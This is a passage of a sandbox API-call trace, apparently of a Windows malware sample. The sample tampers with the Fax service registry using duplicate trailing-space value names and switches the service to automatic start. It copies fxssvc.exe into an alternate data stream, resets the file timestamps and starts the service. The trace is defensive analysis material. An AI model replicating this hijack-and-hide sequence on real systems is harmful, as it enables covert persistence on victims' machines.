0x0 [0218.670] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.670] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0218.670] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0218.670] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0218.670] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x219d3c8*, cbData=0x91 | out: lpData=0x219d3c8*) returned 0x0 [0218.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219d3c8) returned 1 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.671] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.672] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.672] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.672] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0218.672] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0218.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0218.672] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\NetworkService", cbData=0x1c | out: lpData="NT AUTHORITY\\NetworkService") returned 0x0 [0218.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0218.672] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.672] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.672] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.672] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.672] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.672] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.673] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.673] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.673] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.673] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.673] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.673] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.673] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.673] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.673] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.673] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0218.673] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0218.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0218.673] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x7, lpData=0x21f4190*, cbData=0x21 | out: lpData=0x21f4190*) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.674] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.675] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.675] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0218.675] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0218.675] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\system32\\fxssvc.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x20 [0218.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0218.675] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\system32\\fxssvc.exe", lpDst=0x21f3fe0, nSize=0x20 | out: lpDst="C:\\Windows\\system32\\fxssvc.exe") returned 0x1f [0218.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0218.675] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\fxssvc.exe", cbData=0x1f | out: lpData="C:\\Windows\\system32\\fxssvc.exe") returned 0x0 [0218.675] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\system32\\fxssvc.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\system32\\fxssvc.exe" [0218.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0218.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0218.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0218.675] LocalFree (hMem=0x7e4b18) returned 0x0 [0218.675] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\system32\\fxssvc.exe", cbData=0x1f | out: lpData="C:\\Windows\\system32\\fxssvc.exe") returned 0x0 [0218.675] OpenServiceW (hSCManager=0x803918, lpServiceName="Fax", dwDesiredAccess=0x2) returned 0x803990 [0218.676] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0218.698] CloseServiceHandle (hSCObject=0x803990) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.699] RegCloseKey (hKey=0x148) returned 0x0 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0218.699] RegCloseKey (hKey=0x154) returned 0x0 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0218.699] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0218.699] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\fxssvc.exe" (normalized: "c:\\windows\\system32\\fxssvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6841069, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6841069, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb68671ca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa8400)) returned 1 [0218.699] CreateFileW (lpFileName="C:\\Windows\\system32\\fxssvc.exe" (normalized: "c:\\windows\\system32\\fxssvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0218.700] GetLastError () returned 0x5 [0218.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0218.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0218.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0218.700] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0218.703] NtClose (Handle=0x154) returned 0x0 [0218.703] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0218.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0218.703] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0219.037] NtClose (Handle=0x154) returned 0x0 [0219.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0219.037] NtClose (Handle=0x148) returned 0x0 [0219.037] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x2710) returned 0x0 [0219.211] NtClose (Handle=0x150) returned 0x0 [0219.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0219.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0219.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0219.211] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\fxssvc.exe" (normalized: "c:\\windows\\system32\\fxssvc.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6841069, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6841069, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb68671ca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa8400)) returned 1 [0219.211] CreateFileW (lpFileName="C:\\Windows\\system32\\fxssvc.exe" (normalized: "c:\\windows\\system32\\fxssvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150 [0219.211] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0219.211] GetFileSize (in: hFile=0x150, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0xa8400 [0219.211] SetFilePointer (in: hFile=0x150, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0219.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0xa8400) returned 0x2530020 [0219.212] ReadFile (in: hFile=0x150, lpBuffer=0x2530020, nNumberOfBytesToRead=0xa8400, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2530020*, lpNumberOfBytesRead=0x36f53c*=0xa8400, lpOverlapped=0x0) returned 1 [0219.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0xa8400) returned 0x2bf0020 [0219.243] SetEndOfFile (hFile=0x150) returned 1 [0219.247] GetFileTime (in: hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xb68671ca, dwHighDateTime=0x1cb892b)) returned 1 [0219.247] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0219.247] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0219.247] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0219.247] NtClose (Handle=0x150) returned 0x0 [0219.247] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\fxssvc.exe:0" (normalized: "c:\\windows\\system32\\fxssvc.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x248cc, ftCreationTime.dwHighDateTime=0x36f508, ftLastAccessTime.dwLowDateTime=0x77e50a45, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0219.247] GetLastError () returned 0x2 [0219.247] CreateFileW (lpFileName="C:\\Windows\\system32\\fxssvc.exe:0" (normalized: "c:\\windows\\system32\\fxssvc.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150 [0219.247] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0219.247] WriteFile (in: hFile=0x150, lpBuffer=0x2bf0020*, nNumberOfBytesToWrite=0xa8400, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2bf0020*, lpNumberOfBytesWritten=0x36f53c*=0xa8400, lpOverlapped=0x0) returned 1 [0219.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0219.292] SetFileTime (hFile=0x150, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0219.292] NtClose (Handle=0x150) returned 0x0 [0219.293] OpenServiceW (hSCManager=0x803918, lpServiceName="Fax", dwDesiredAccess=0x10) returned 0x8038a0 [0219.293] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0220.681] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0220.681] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0220.681] GetLastError () returned 0x6 [0220.681] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2bf0020) returned 1 [0220.684] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, 